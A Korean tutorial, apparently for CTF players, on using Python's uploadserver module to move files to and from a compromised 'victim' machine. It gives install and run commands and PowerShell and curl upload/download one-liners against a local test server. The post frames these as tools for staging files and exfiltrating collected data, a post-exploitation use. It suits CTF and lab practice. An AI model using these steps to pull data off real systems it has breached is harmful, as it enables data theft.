간단한 파이썬 파일 업로드 서버 사용법

간단한 파이썬 파일 업로드 서버 사용법

CTF 를 하다보면 1차 침입에 성공한 Victim 머신에 추가 파일을 업로드하거나, Victim 에서 수집한 정보를 Attack 머신으로 유출시켜야 하는 상황이 자주 있다. 파일 업로드/다운로드 방법은 많이 있지만 이 글에서는 pypi.org 에 등록된 uploadserver 모듈을 이용해 간단한 업로드 서버를 만드는 방법에 대해 설명하겠다.

1. 서버 측

서버 측에서는 python 만 설치하고 다음 명령어를 실행하여 uploadserver 모듈을 설치한다.

python3 -m pip install --user uploadserver

uploadserver 모듈 설치 후 다음 명령어로 업로드 서버를 실행할 수 있다. 업로드 서버를 실행하는 순간 외부에서 Working Directory 내 파일들을 다운로드할 수 있으니 적절한 경로에서 실행하자.

python3 -m uploadserver

uploadserver 모듈은 간단한 인증, SSL 인증과 같은 기능도 제공하나 이 글에서는 복잡한 인증 절차 없이 업로드/다운로드할 수 있는 서버를 만드는게 목적이니 이에 대한 설명은 생략한다. 이와 관련된 내용은 프로젝트 설명 글이나 아래 사용법을 참고하자.

python3 -m uploadserver --help
usage: __main__.py [-h] [--cgi] [--allow-replace] [--bind ADDRESS] [--directory DIRECTORY] [--theme {light,auto,dark}] [--server-certificate SERVER_CERTIFICATE] [--client-certificate CLIENT_CERTIFICATE] [--basic-auth BASIC_AUTH]
                   [--basic-auth-upload BASIC_AUTH_UPLOAD]
                   [port]

positional arguments:
  port                  Specify alternate port [default: 8000]

options:
  -h, --help            show this help message and exit
  --cgi                 Run as CGI Server
  --allow-replace       Replace existing file if uploaded file has the same name. Auto rename by default.
  --bind, -b ADDRESS    Specify alternate bind address [default: all interfaces]
  --directory, -d DIRECTORY
                        Specify alternative directory [default:current directory]
  --theme {light,auto,dark}
                        Specify a light or dark theme for the upload page [default: auto]
  --server-certificate, --certificate, -c SERVER_CERTIFICATE
                        Specify HTTPS server certificate to use [default: none]
  --client-certificate CLIENT_CERTIFICATE
                        Specify HTTPS client certificate to accept for mutual TLS [default: none]
  --basic-auth BASIC_AUTH
                        Specify user:pass for basic authentication (downloads and uploads)
  --basic-auth-upload BASIC_AUTH_UPLOAD
                        Specify user:pass for basic authentication (uploads only)

2. 클라이언트 측

uploadserver 는 GET 방식으로 통신하여 서버의 파일을 다운로드하고, POST 방식으로 /upload 경로에 접근하여 클라이언트 측 파일을 업로드할 수 있다. 클라이언트 측에서 지원하는 통신 도구에 따라 업로드/다운로드 방법이 다를 수 있지만 이 글에서는 Windows 와 Linux OS에서 일반적으로 설치된 PowerShell 과 Curl 을 이용하는 방식을 예시로 보여주겠다.

예시에서는 http://127.0.0.1:8000 주소에 서비스 중인 업로드 서버에 test.txt 파일을 업로드/다운로드한다고 가정한다.

2.1 PowerShell

2.1.1 다운로드

iwr -Uri http://127.0.0.1:8000/test.txt -OutFile test.txt

2.1.2 업로드

PowerShell 5.1 버전.

Add-Type -AssemblyName System.Net.Http; $f=(Resolve-Path "test.txt").Path; $b=[System.Net.Http.ByteArrayContent]::new([System.IO.File]::ReadAllBytes($f)); $c=[System.Net.Http.MultipartFormDataContent]::new(); $c.Add($b,"files",(Split-Path $f -Leaf)); ([System.Net.Http.HttpClient]::new()).PostAsync("http://127.0.0.1:8000/upload",$c).Result

Powershell 7 버전

Invoke-RestMethod -Uri "http://127.0.0.1:8000/upload" -Method Post -Form @{files=Get-Item "test.txt"}

2.2 Curl

2.2.1 다운로드

curl -X GET  http://127.0.0.1:8000/test.txt -o test.txt

2.2.2 업로드

curl -X POST http://127.0.0.1:8000/upload -F 'files=@test.txt'